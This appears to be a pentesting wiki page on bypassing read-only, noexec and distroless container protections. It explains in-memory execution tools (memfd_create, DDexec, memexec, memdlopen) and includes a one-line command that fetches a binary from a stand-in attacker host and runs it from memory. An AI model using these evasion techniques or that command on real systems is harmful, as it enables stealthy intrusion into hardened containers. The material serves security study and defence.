Bypass FS protections: read-only / no-exec / Distroless
Videos
In the following videos you can find the techniques mentioned in this page explained more in depth:[1][2]
- DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion.[1]
- Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023.[2]
read-only / no-exec scenario
In a container, you can mount the root filesystem as read-only by setting readOnlyRootFilesystem: true in the security context.[3] For example:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
A read-only root does not make separately mounted volumes read-only. Docker treats /dev/shm as an IPC mount, while tmpfs options such as rw and noexec are runtime configuration choices; inspect the target container’s mount options before relying on either behavior.[4][5]
[!WARNING] From a red-team perspective, that combination can make it difficult to download and execute binaries that are not already available (for example, backdoors or enumeration tools).[4][5]
Easiest bypass: Scripts
A noexec mount blocks direct execution of binaries on that mount, but an interpreter can still read and interpret a script. If sh or python is present, you can therefore run a shell or Python script through that interpreter.[5]
This does not help when the required tool is itself a binary.[5]
Memory Bypasses
When direct execution from a mounted path is blocked, one option is to load the ELF into memory and execute it through an in-memory path. This avoids the noexec check on that mount, but does not remove other kernel, permission, or policy controls.[5][6]
FD + exec syscall bypass
If a scripting runtime can access the relevant Linux interface, it can create an anonymous, RAM-backed file descriptor with memfd_create(2), write the ELF bytes to it, and use an fd-backed execution path. The project fileless-elf-exec generates compressed and base64-encoded Python, Perl, or Ruby code for this workflow.[6][7]
The project currently documents Python, Perl, and Ruby targets; PHP or Node need a different runtime-specific technique or extension, so the absence of this generator for a language does not mean that in-memory execution is impossible.[6][12]
[!WARNING] A regular executable written to
/dev/shmremains subject to that mount’snoexecsetting; merely opening it through an ordinary file descriptor does not change the mount policy.[5]The exact memory-execution method also depends on the runtime, architecture, kernel, and available permissions.[6][7][12]
DDexec / EverythingExec
DDexec / EverythingExec writes a stager and loader into the running shell process through /proc/self/mem, then transfers control to that code.[8]
This lets the process load a supplied binary without first placing that binary on an executable filesystem.[8]
[!TIP] DDexec / EverythingExec can load and execute shellcode or a binary from memory.[8]
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
For more information about this technique check the Github or:
MemExec
Memexec is a daemonized DDexec implementation. Its daemon listens for requests containing arguments and raw program bytes, forks a child to load and run each program, and keeps the parent as the server.[9]
The repository includes an example of using memexec to execute binaries from a PHP reverse shell in a.php.[9]
Memdlopen
With a similar purpose to DDexec, memdlopen is a fileless dlopen() implementation for a shared object or program. Its README currently documents ARM64 support, so check the target architecture before using it.[10]
Distroless Bypass
For a dedicated explanation of what distroless actually is, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check:
What is distroless
Distroless images contain only the application and its runtime dependencies; the official images omit package managers, shells, and other programs expected in a standard Linux distribution.[11]
Keeping the runtime image to those dependencies reduces the software present in production and the amount that must be scanned and tracked.[11]
Reverse Shell
In a distroless container you might not find sh or bash for a regular shell, nor common utilities such as ls, whoami, or id.[11]
[!WARNING] Therefore, a usual shell-based reverse shell or utility-based enumeration may not work.[11]
If the compromised application includes a language runtime (for example, Python for a Flask application or Node.js for a Node application), an RCE may still be able to use that runtime for a command channel and system inspection through its APIs.[11][12]
[!TIP] Use the available scripting language to enumerate the system through its language capabilities.[12]
If there are no read-only/no-exec protections, a command channel may write binaries to a writable, executable mount and run them; verify the mount options and permissions first.[4][5]
[!TIP] When these protections are present, use the memory-execution techniques above where the runtime, kernel, and permissions allow.[6][8][10]
You can find examples of exploiting RCE vulnerabilities to obtain scripting-language reverse shells and execute binaries from memory in DistrolessRCE.[12]
References
- [1] DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
- [2] Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023
- [3] Configure a Security Context for a Pod or Container
- [4] docker container run
- [5] mount(8) - Linux manual page
- [6] fileless-elf-exec
- [7] memfd_create(2) - Linux manual page
- [8] DDexec
- [9] memexec
- [10] memdlopen
- [11] GoogleContainerTools/distroless
- [12] DistrolessRCE